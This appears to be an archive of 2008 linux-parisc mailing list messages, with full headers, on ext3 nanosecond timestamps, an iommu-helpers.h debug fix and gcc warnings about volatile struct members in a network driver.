        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=l6nvZl2Ihxjevb+EdbRCnrm6im+uBpbigJuVccANlSm52jWM2YVasH8m3ifCcKynYvHYdSbcxVlLpxEj/GV4Bl5aeqVJQGiuX5m/TDqlqXUw0K10A1cjHQ3h9x66jBvLSpyGNkqOzqMVi/5ODKLqOFIBr5wuPkaMSBVPXa9e/qI=
Original-Received: by 10.140.147.18 with SMTP id u18mr9062409rvd.202.1199727776872;
        Mon, 07 Jan 2008 09:42:56 -0800 (PST)
Original-Received: by 10.141.210.20 with HTTP; Mon, 7 Jan 2008 09:42:56 -0800 (PST)
In-Reply-To: <200801062013.m06KDdht008111@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 01ba5def182bdab7
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:66
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/66>

On Jan 6, 2008 3:13 PM, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> On an EXT3 file system, I see the following:
>
> dave@mx3210:~$ touch xyzzy
> dave@mx3210:~$ ls --full-time xyzzy
> -rw-r--r-- 1 dave dave 0 2008-01-06 15:07:01.000000000 -0500 xyzzy
>
> However, on tmpfs, proc, etc., I see the sub-seconds time.  This is
> 2.6.22.14 and 2.6.22.15.
>
> The behavior of 32 and 64-bit kernels seems to be the same.
>
> With an old 2.6 x86 kernel (suse), I see sub-second times on a EXT3
> file system.

Can you distill this into a testcase that uses the kernel fstat* syscalls?

That would definitely rule out glibc getting in the way.

c.
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Nanoseconds times on EXT3 always seem to be zero
Date: Mon, 7 Jan 2008 11:04:51 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20080107180451.GA20148@parisc-linux.org>
References: <200801062013.m06KDdht008111@hiauly1.hia.nrc.ca> <119aab440801070942v2693dfc2y556cc4aa415c5179@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1199729143 28524 80.91.229.12 (7 Jan 2008 18:05:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Jan 2008 18:05:43 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 07 19:06:03 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JBwLu-0001on-F1
	for glpp-linux-parisc@gmane.org; Mon, 07 Jan 2008 19:05:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756894AbYAGSEx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Jan 2008 13:04:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756151AbYAGSEx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 7 Jan 2008 13:04:53 -0500
Original-Received: from palinux.external.hp.com ([192.25.206.14]:51873 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757242AbYAGSEw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Jan 2008 13:04:52 -0500
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 0C69F494006; Mon,  7 Jan 2008 11:04:51 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <119aab440801070942v2693dfc2y556cc4aa415c5179@mail.gmail.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:67
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/67>

On Mon, Jan 07, 2008 at 12:42:56PM -0500, Carlos O'Donell wrote:
> Can you distill this into a testcase that uses the kernel fstat* syscalls?
> 
> That would definitely rule out glibc getting in the way.

ext3 doesn't store nanoseconds on disc ... unless <blah blah blah>

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Nanoseconds times on EXT3 always seem to be zero
Date: Mon, 7 Jan 2008 14:50:10 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200801071950.m07JoAqG000941@hiauly1.hia.nrc.ca>
References: <20080107180451.GA20148@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1199735423 19800 80.91.229.12 (7 Jan 2008 19:50:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Jan 2008 19:50:23 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 07 20:50:44 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JBxzg-00065h-0Q
	for glpp-linux-parisc@gmane.org; Mon, 07 Jan 2008 20:50:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753394AbYAGTuV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Jan 2008 14:50:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753962AbYAGTuU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 7 Jan 2008 14:50:20 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1106 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753394AbYAGTuT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Jan 2008 14:50:19 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id m07JoBDU000942;
	Mon, 7 Jan 2008 14:50:17 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id m07JoAqG000941;
	Mon, 7 Jan 2008 14:50:10 -0500 (EST)
In-Reply-To: <20080107180451.GA20148@parisc-linux.org> from "Matthew Wilcox" at Jan 7, 2008 11:04:51 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:68
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/68>

> On Mon, Jan 07, 2008 at 12:42:56PM -0500, Carlos O'Donell wrote:
> > Can you distill this into a testcase that uses the kernel fstat* syscalls?
> > 
> > That would definitely rule out glibc getting in the way.
> 
> ext3 doesn't store nanoseconds on disc ... unless <blah blah blah>

I was told today that 2.6.24 may provide nanoseconds with ext3, else ext4.
The documentation for <blah blah blah> seems lacking.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: iommu-helpers.h patch
Date: Tue, 8 Jan 2008 23:45:13 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20080109064513.GB20727@colo.lackof.org>
References: <476D1509.1070601@scarlet.be> <20071228075610.GD17782@colo.lackof.org> <477515DE.7090403@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1199861141 13824 80.91.229.12 (9 Jan 2008 06:45:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2008 06:45:41 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 09 07:45:57 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JCUhH-0007ca-Fu
	for glpp-linux-parisc@gmane.org; Wed, 09 Jan 2008 07:45:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751282AbYAIGpb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Jan 2008 01:45:31 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751812AbYAIGpb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 9 Jan 2008 01:45:31 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:57481 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751282AbYAIGpa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Jan 2008 01:45:30 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id EC93E298053;
	Tue,  8 Jan 2008 23:45:28 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24435-03; Tue, 8 Jan 2008 23:45:13 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AAC3529800A; Tue,  8 Jan 2008 23:45:13 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <477515DE.7090403@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:69
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/69>

On Fri, Dec 28, 2007 at 03:27:26PM +0000, rubisher wrote:
> Anyway cnt variable was gone:
> # grep cnt drivers/parisc/iommu-helpers.h
>                            (unsigned long)sg_dma_address(startsg), cnt,

oh! that's definitely wrong too then...

> the interesting hunk's part was:
> -		int cnt = sg_dma_len(startsg);
> -		sg_dma_len(startsg) = 0;
> +		unsigned long vaddr;
> +		long size;

Yup...

> (and make a kernel with DEBUG_CCIO_RUN_SG failed with an error at this 
> place, so we need to patch ;-)
>
>> "cnt" was the thing I needed/wanted dumped.
> So may be something like:
>
>                 DBG_RUN_SG(" %d : %08lx/%05x %08lx/%05x\n", nents,
> -                          (unsigned long)sg_dma_address(startsg), cnt,
> +                          (unsigned long)sg_dma_address(startsg), 
> sg_dma_len(startsg),
>                            sg_virt_addr(startsg), startsg->length
>                 );

Yeah, that would be better I think.

grant
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Any idea why gcc "discards qualifiers from pointer target type"?
Date: Tue, 15 Jan 2008 11:29:37 +0100
Lines: 140
Approved: news@gmane.org
Message-ID: <JUOL5D$C964A06D0284BFBD2341C0E52FF636D0@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1200393023 17896 80.91.229.12 (15 Jan 2008 10:30:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jan 2008 10:30:23 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 15 11:30:44 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JEj44-0006h3-I8
	for glpp-linux-parisc@gmane.org; Tue, 15 Jan 2008 11:30:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750768AbYAOKaP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jan 2008 05:30:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751683AbYAOKaP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Jan 2008 05:30:15 -0500
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:32905 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750768AbYAOKaM convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jan 2008 05:30:12 -0500
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m0FATevh028189;
	Tue, 15 Jan 2008 11:29:46 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: hel; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:70
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/70>

Hello Dave,

Compiling p-l with gcc-4.2 I see new warning "discards qualifiers from pointer
target type":

gcc -Wp,-MD,drivers/net/.lasi_82596.o.d  -nostdinc -isystem
/usr/lib/gcc/hppa-linux-gnu/4.2.3/include -D__KERNEL__ -Iinclude -Iinc
lude2 -I/SRCTREE/include -include include/linux/autoconf.h
-I/CAD/linux-2.6.24-rc4-pa-git-2007120
6-trace/drivers/net -Idrivers/net -Wall -Wundef -Wstrict-prototypes
-Wno-trigraphs -fno-strict-aliasing -fno-common -Werror-implicit
-function-declaration -O2 -pipe -mno-space-regs -mfast-indirect-calls
-mdisable-fpregs -ffunction-sections -march=1.1 -mschedule=720
0 -fomit-frame-pointer -fno-stack-protector -Wdeclaration-after-statement
-Wno-pointer-sign  -D"KBUILD_STR(s)=#s" -D"KBUILD_BASENAME
=KBUILD_STR(lasi_82596)"  -D"KBUILD_MODNAME=KBUILD_STR(lasi_82596)" -c -o
drivers/net/lasi_82596.o /CAD/linux-2.6.24-rc4-pa-git-2007
1206-trace/drivers/net/lasi_82596.c
/SRCTREE/drivers/net/lib82596.c: In function 'wait_cmd':
/SRCTREE/drivers/net/lib82596.c:388: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:391: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'wait_istat':
/SRCTREE/drivers/net/lib82596.c:372: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:375: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'i596_cleanup_cmd':
/SRCTREE/drivers/net/lib82596.c:839: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'init_i596_mem':
/SRCTREE/drivers/net/lib82596.c:580: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:581: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:600: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:629: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type  
/SRCTREE/drivers/net/lib82596.c: In function 'i596_reset':
/SRCTREE/drivers/net/lib82596.c:857: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'i596_add_cmd':
/SRCTREE/drivers/net/lib82596.c:898: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'i596_tx_timeout':
/SRCTREE/drivers/net/lib82596.c:963: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'i596_interrupt':
/SRCTREE/drivers/net/lib82596.c:1266: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:1291: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'i596_close':
/SRCTREE/drivers/net/lib82596.c:1322: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type

After more investigation it seems to linked to the fact that mentioned
arguments are 'volatile' in this structure:

struct i596_dma {
        struct i596_scp scp                     __attribute__((aligned(32)));
        volatile struct i596_iscp iscp          __attribute__((aligned(32)));
        volatile struct i596_scb scb            __attribute__((aligned(32)));
        struct sa_cmd sa_cmd                    __attribute__((aligned(32)));
        struct cf_cmd cf_cmd                    __attribute__((aligned(32)));
        struct tdr_cmd tdr_cmd                  __attribute__((aligned(32)));
        struct mc_cmd mc_cmd                    __attribute__((aligned(32)));
        struct i596_rfd rfds[RX_RING_SIZE]      __attribute__((aligned(32)));  
        struct i596_rbd rbds[RX_RING_SIZE]      __attribute__((aligned(32)));
        struct tx_cmd tx_cmds[TX_RING_SIZE]     __attribute__((aligned(32)));
        struct i596_tbd tbds[TX_RING_SIZE]      __attribute__((aligned(32)));
};

I tried this sample foobar:
      1 struct A {
      2         unsigned long a;
      3         unsigned char *b;
      4 };
      5
      6 struct B {
      7         volatile struct A AinB1;
      8         volatile struct A AinB2;
      9 };
     10
     11 void fooA(struct A *pa);
     12
     13 void fooB(struct B *pB)
     14 {
     15         fooA(&(pB->AinB1));
     16         fooA(&(pB->AinB2));
     17 }

which well return warnings:
# gcc-4.2 -c -o ts.o ts.c 
ts.c: In function 'fooB':
ts.c:15: warning: passing argument 1 of 'fooA' discards qualifiers from
pointer target type
ts.c:16: warning: passing argument 1 of 'fooA' discards qualifiers from
pointer target type

Removing a 'volatile' like:
      1 struct A {
      2         unsigned long a;
      3         unsigned char *b;
      4 };
      5
      6 struct B {
      7         volatile struct A AinB1;
      8         struct A AinB2;
      9 };
     10
     11 void fooA(struct A *pa);
     12
     13 void fooB(struct B *pB)
     14 {
     15         fooA(&(pB->AinB1));
     16         fooA(&(pB->AinB2));
     17 }

and it returns
# gcc-4.2 -c -o ts.o ts.c 
ts.c: In function 'fooB':
ts.c:15: warning: passing argument 1 of 'fooA' discards qualifiers from
pointer target type

Well my understanding of 'volatile' is that this prefix prevent gcc of any
optimization/reorganization. Is it correct? if yes why this warning?

Tia for your attention,
    r.




---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/


From - Thu Nov 08 21:01:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Any idea why gcc "discards qualifiers from pointer target type"?
Date: Tue, 15 Jan 2008 11:30:02 +0100
Lines: 140
Approved: news@gmane.org
Message-ID: <JUOL62$52B3623E983635E94ACE708B70FF5F2A@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1200393024 17902 80.91.229.12 (15 Jan 2008 10:30:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jan 2008 10:30:24 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 15 11:30:47 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JEj49-0006h3-EW
	for glpp-linux-parisc@gmane.org; Tue, 15 Jan 2008 11:30:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751683AbYAOKaV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jan 2008 05:30:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751862AbYAOKaV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Jan 2008 05:30:21 -0500
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:32972 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751683AbYAOKaT convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jan 2008 05:30:19 -0500
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m0FAU2ss028399;
	Tue, 15 Jan 2008 11:30:04 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: hel; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:71
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/71>

Hello Dave,

Compiling p-l with gcc-4.2 I see new warning "discards qualifiers from pointer
target type":

gcc -Wp,-MD,drivers/net/.lasi_82596.o.d  -nostdinc -isystem
/usr/lib/gcc/hppa-linux-gnu/4.2.3/include -D__KERNEL__ -Iinclude -Iinc
lude2 -I/SRCTREE/include -include include/linux/autoconf.h
-I/CAD/linux-2.6.24-rc4-pa-git-2007120
6-trace/drivers/net -Idrivers/net -Wall -Wundef -Wstrict-prototypes
-Wno-trigraphs -fno-strict-aliasing -fno-common -Werror-implicit
-function-declaration -O2 -pipe -mno-space-regs -mfast-indirect-calls
-mdisable-fpregs -ffunction-sections -march=1.1 -mschedule=720
0 -fomit-frame-pointer -fno-stack-protector -Wdeclaration-after-statement
-Wno-pointer-sign  -D"KBUILD_STR(s)=#s" -D"KBUILD_BASENAME
=KBUILD_STR(lasi_82596)"  -D"KBUILD_MODNAME=KBUILD_STR(lasi_82596)" -c -o
drivers/net/lasi_82596.o /CAD/linux-2.6.24-rc4-pa-git-2007
1206-trace/drivers/net/lasi_82596.c
/SRCTREE/drivers/net/lib82596.c: In function 'wait_cmd':
/SRCTREE/drivers/net/lib82596.c:388: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:391: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'wait_istat':
/SRCTREE/drivers/net/lib82596.c:372: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:375: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'i596_cleanup_cmd':
/SRCTREE/drivers/net/lib82596.c:839: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'init_i596_mem':
/SRCTREE/drivers/net/lib82596.c:580: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:581: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:600: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:629: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type  
/SRCTREE/drivers/net/lib82596.c: In function 'i596_reset':
/SRCTREE/drivers/net/lib82596.c:857: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'i596_add_cmd':
/SRCTREE/drivers/net/lib82596.c:898: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'i596_tx_timeout':
/SRCTREE/drivers/net/lib82596.c:963: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'i596_interrupt':
/SRCTREE/drivers/net/lib82596.c:1266: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c:1291: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type
/SRCTREE/drivers/net/lib82596.c: In function 'i596_close':
/SRCTREE/drivers/net/lib82596.c:1322: warning: passing argument 2 of
'dma_cache_sync' discards qualifiers from pointer target type

After more investigation it seems to linked to the fact that mentioned
arguments are 'volatile' in this structure:

struct i596_dma {
        struct i596_scp scp                     __attribute__((aligned(32)));
        volatile struct i596_iscp iscp          __attribute__((aligned(32)));
        volatile struct i596_scb scb            __attribute__((aligned(32)));
        struct sa_cmd sa_cmd                    __attribute__((aligned(32)));
        struct cf_cmd cf_cmd                    __attribute__((aligned(32)));
        struct tdr_cmd tdr_cmd                  __attribute__((aligned(32)));
        struct mc_cmd mc_cmd                    __attribute__((aligned(32)));
        struct i596_rfd rfds[RX_RING_SIZE]      __attribute__((aligned(32)));  
        struct i596_rbd rbds[RX_RING_SIZE]      __attribute__((aligned(32)));
        struct tx_cmd tx_cmds[TX_RING_SIZE]     __attribute__((aligned(32)));
        struct i596_tbd tbds[TX_RING_SIZE]      __attribute__((aligned(32)));
};

I tried this sample foobar:
      1 struct A {
      2         unsigned long a;
      3         unsigned char *b;
      4 };
      5
      6 struct B {
      7         volatile struct A AinB1;
      8         volatile struct A AinB2;
      9 };
     10
     11 void fooA(struct A *pa);
     12
     13 void fooB(struct B *pB)
     14 {
     15         fooA(&(pB->AinB1));
     16         fooA(&(pB->AinB2));
     17 }

which well return warnings:
# gcc-4.2 -c -o ts.o ts.c 
ts.c: In function 'fooB':
ts.c:15: warning: passing argument 1 of 'fooA' discards qualifiers from
pointer target type
ts.c:16: warning: passing argument 1 of 'fooA' discards qualifiers from
pointer target type

Removing a 'volatile' like:
      1 struct A {
      2         unsigned long a;
      3         unsigned char *b;
      4 };
      5
      6 struct B {
      7         volatile struct A AinB1;
      8         struct A AinB2;
      9 };
     10
     11 void fooA(struct A *pa);
     12
     13 void fooB(struct B *pB)
     14 {
     15         fooA(&(pB->AinB1));
     16         fooA(&(pB->AinB2));
     17 }

and it returns
# gcc-4.2 -c -o ts.o ts.c 
